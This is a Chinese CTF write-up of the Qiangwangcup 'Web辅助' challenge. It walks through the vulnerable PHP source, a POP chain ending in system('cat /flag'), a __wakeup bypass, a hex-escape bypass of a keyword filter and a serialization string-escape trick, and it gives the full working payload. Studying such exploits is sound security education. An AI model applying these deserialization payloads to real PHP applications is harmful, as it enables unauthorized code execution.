首页 > 其他分享 >细说强网杯Web辅助

细说强网杯Web辅助

时间:2023-07-27 23:06:08浏览次数:33  
标签:__ Web 细说 name function 22% 3A% 强网杯 3A7%

8/27

文章共计1908个词

包括三段长代码

今天的内容无图,流量不预警

和我一起阅读吧

1

写在前面

这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程

2

题目源码

index.php

获取我们传入的username和password,并将其序列化储存

...
if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!\n";
}
...

common.php

这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}
function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>

play.php

在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作

...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...

class.php

这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;
    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
    public function get_admin(){
        $this->admin = 1;
        return $this->admin ;
    }
}
class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
    public function __destruct(){
        $this->TP();
    }
}
class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    public function __invoke(){
        $this->Gank();
    }
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
    public function KS(){
        system("cat /flag");
    }
    public function __toString(){
        $this->KS();  
        return "";  
    }
}
?>

3

涉及考点

  • POP链的构造
  • __wakeup的绕过
  • 关键字“name”检测绕过
  • 反序列化字符串逃逸

4

题目出现的魔术方法

  • __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
  • __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  • wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
  • invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
  • __toString():用于一个类被当成字符串时应怎样回应

5

POP链

POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来

6

POP链的构造

这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。 

我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:

<?php
class test{
    function __toString(){
        echo "__toString()";
        return "";
    }
}
$a = new test();
echo $a;
//输出:__toString()

在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:

<?php
class test{
    function __toString(){
        echo "__toString()";
        return "";
    }
}
$a = new test();
stristr($a,'name');
//输出__toString()

所以整个POP链已经构成了

topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')

<?php
class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
}
class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
}
class jungle{
    protected $name = "";
}
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
输出:
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2


O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s:7:"\000*\000name";s:0:"";}}}

7

关键字“name”检测绕过


···
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
    }
else{
return $data;
    }
}
···

这里使用十六进制绕过\6e\61\6d\65,并将s改为S

O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

8

字符串逃逸

访问index.php,传入数值,得到序列化内容

O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;}

可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来

···
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
···

在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

在password中补上被吃掉的pass部分,构造password的提交内容

password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

最后提交

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

然后访问play.php即可得到flag


标签:__,Web,细说,name,function,22%,3A%,强网杯,3A7%
From: https://blog.51cto.com/u_14601424/6875003

相关文章

  • 看漫画学技术 0元包邮送Web开发必读“漫画书”
    对于网络安全学习者来说,如果能深刻理解HTTP协议,就能在日常Web安全运维工作中快速定位问题。但是关于HTTP的知识,五花八门,比较零散,如果没有什么基础去读TCP/IP权威指南的话,倒是大而全了,关键是你能看得下去吗?那么在这里特别推荐这本适合网安小白零基础必看的漫画书——《图解HTTP》。......
  • 八、Web应用模式
    8.1、web应用模式在开发Web应用中,有两种应用模式:前后端不分离[客户端看到的内容和所有界面效果都是由服务端提供出来的。前后端分离【把前端的界面效果(html,css,js分离到另一个服务端,python服务端只需要返回数据即可)】前端形成一个独立的网站,服务端构成一个独立的网......
  • Game as a Service —— 开源云游戏搭载WebRTC
    软件即服务,基础架构即服务,平台即服务,通信平台即服务,视频会议即服务,那么,游戏即服务(GameasaService)如何呢?已经有不少科技公司试水云游戏,最著名的要数Google的Stadia。对WebRTC来说,Stadia已经算是老朋友了,但是其他云游戏也能以同样的方式运用WebRTC吗?ThanhNguyen研究了他自己的开......
  • 手把手叫你用android 调研web services
    StepbyStepMethodtoAccessWebservicefromAndroidByMihiraPrasanna|24Sep2010JavaMobileAndroidHowtoaccesswebservicefromAndroidmobileapplication PartofTheMobileZoneSeeAlsoMorelikethisMoreby......
  • CTFer成长记录——CTF之Web专题·[ACTF2020 新生赛]Include
    一、题目链接https://buuoj.cn/challenges#[ACTF2020%20新生赛]Include二、解法步骤  打开网页:    有趣的是无论是查看源代码还是bp抓包都一无所获,这题考的是php的filter伪协议进行文件包含:  php://filter:(fromhttps://blog.csdn.net/qq_42404383/article/details......
  • web浏览器常见错误代码
    浏览器常见错误代码:Http:3xx-重定向301:对象已永久移走,即永久重定向302:对象已临时移走304:未修改307:临时重定向4xx-客户端错误400:错误的请求401:访问被拒绝403:禁止访问404:未找到405:用来访问页面的方法不被允许5xx-服务器错误500:内部服务器错误501:页眉值指定了未实现的......
  • CTF比赛中Web的php伪协议类型题小结
    php协议类型file://—访问本地文件系统http://—访问HTTP(s)网址ftp://—访问FTP(s)URLsphp://—访问各个输入/输出流(I/Ostreams)zlib://—压缩流data://—数据(RFC2397)glob://—查找匹配的文件路径模式phar://—PHP归档1.php伪协议:需要开启allo......
  • 直播平台软件开发,JavaWeb如何设置定时任务
    直播平台软件开发,JavaWeb如何设置定时任务1.在xml文件中添加监听器 <?xmlversion="1.0"encoding="UTF-8"?><web-appversion="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"......
  • 5、开发环境-远程启动Webots
    一、远程启动可以使用ssh(或类似命令)在远程计算机上启动Webot。然而,只有当Webots能够获得与本地运行的X服务器(在同一台计算机上)的X11连接时,它才能工作。当前无法将Webots图形输出重定向到另一台计算机。使用SSH命令以下是从计算机A启动的常用方法,该计算机是将在计算机B上运行的W......
  • web | 在node中使用axios进行同步和异步请求
    web|在node中使用axios进行同步和异步请求最近在看怎么用nodejs整爬虫,摸索一下axios的使用。constaxios=require('axios');//异步写法axios("https://mz1.top") .then(res=>{ console.log("https://mz1.top"); console.log(res.headers); }) .catch(err=>......